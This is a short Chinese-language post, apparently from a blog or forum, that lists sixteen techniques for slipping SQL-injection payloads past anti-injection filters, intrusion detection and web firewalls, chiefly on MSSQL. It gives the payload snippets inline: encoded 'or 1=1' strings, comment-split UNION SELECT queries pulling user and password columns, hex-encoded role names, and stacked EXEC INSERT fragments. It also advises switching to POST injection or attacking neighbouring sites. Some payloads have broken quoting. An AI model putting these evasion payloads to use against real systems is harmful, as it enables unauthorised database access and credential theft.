绕过防注入的几种方法

1、运用编码技术绕过

如 URLEncode 编码，ASCII 编码绕过。例如 or 1=1 即 %6f%72%20%31%3d%31，而 Test 也可以为 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过

如两个空格代替一个空格，用 Tab 代替空格等，或者删除所有空格，如 or swords = ‘swords，由于 mssql 的松散性，我们可以把 or swords 之间的空格去掉，并不影响运行。

3、运用字符串判断代替

用经典的 or 1=1 判断绕过,如 or swords =swords，这个方法就是网上在讨论的。

4、通过类型转换修饰符 N 绕过

可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，如 or swords = N swords ，大写的 N 告诉 mssql server 字符串作为 nvarchar 类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配 IDS。

5、通过+号拆解字符串绕过

效果值得考证 ,但毕竟是一种方法。如 or swords = ‘sw + ords ;EXEC(‘IN + SERT INTO + …..)

6、通过 LIKE 绕过

以前怎么就没想到呢？如 orswords LIKE sw ! ! !显然可以很轻松的绕过“=”

“>”的限制……

7、通过 IN 绕过

与上面的 LIKE 的思路差不多,如 or swords IN (swords)

8、通过 BETWEEN 绕过

如 or swords BETWEEN rw AND tw

9、通过>或者<绕过

or swords > sw

or swords < tw

or 1<3

10、运用注释语句绕过

用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser

用/**/分割敏感词 ,如 :U/**/ NION /**/ SE/**/ LECT /**/user ,pwd from tbluser

11、用 HEX 绕过，一般的 IDS 都无法检测出来

0x7300790073006100640064006D0069006E00 =hex(sysadmin)

0x640062005F006F0077006E0065007200 =hex(db_owner)

12、大小写互换绕过

select 可以写成 SelEct

union 可以写成 UnIoN

13、多种编码组合绕过

常用的有 BASE64、ASC、SQL、HEX、URL 编码

14、利用中转工具绕过

可以利用刺猬的中转工具来绕过

15、利用特殊字符填充绕过

这些特殊字符，会被解释成空格，方式和通过空格绕过一样的，一般用来绕过第三方防火墙软件

16、改变攻击方式

如果 get 提交实在无法绕过，可以尝试改变攻击方式。如；post 注入、寻找子站、旁站……等。